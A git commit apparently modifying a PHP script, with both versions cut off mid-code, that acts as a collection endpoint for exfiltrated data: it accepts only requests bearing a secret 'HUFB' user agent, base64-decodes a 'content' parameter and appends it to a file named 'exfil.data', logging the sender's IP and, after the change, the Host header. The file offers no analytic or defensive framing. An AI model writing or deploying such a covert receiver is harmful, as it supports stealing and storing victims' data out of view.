<commit_before><?php

$user_agent = $_SERVER['HTTP_USER_AGENT'];
if ($user_agent == 'HUFB') {
	$content = $_GET['content'];
	$file = '/home/ubuntu/data/exfil.data';
	$saved_file = fopen($file, 'a');
	$decoded = base64_decode($content);
	$source = $_SERVER['REMOTE_ADDR'];
	$begin = $source . ' - Capturing';<commit_msg>updated log output to contain host header<commit_after><?php

$user_agent = $_SERVER['HTTP_USER_AGENT'];
$source = $_SERVER['REMOTE_ADDR'];
$host = $_SERVER['HTTP_HOST'];
if ($user_agent == 'HUFB') {
	$content = $_GET['content'];
	$file = '/home/ubuntu/data/exfil.data';
	$saved_file = fopen($file, 'a');
	$decoded = base64_decode($content);
	$begin = $source . ' : ' . $host . ' - Capturing';
{'fraction_non_alphanumeric': 0.21629213483146068, 'fraction_numerical': 0.0056179775280898875, 'mean_word_length': 5.663551401869159, 'pattern_counts': {'":': 0, '<': 5, '<?xml version=': 0, '>': 3, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '1098778', 'n_tokens_mistral': 274, 'n_tokens_neox': 263, 'n_words': 48}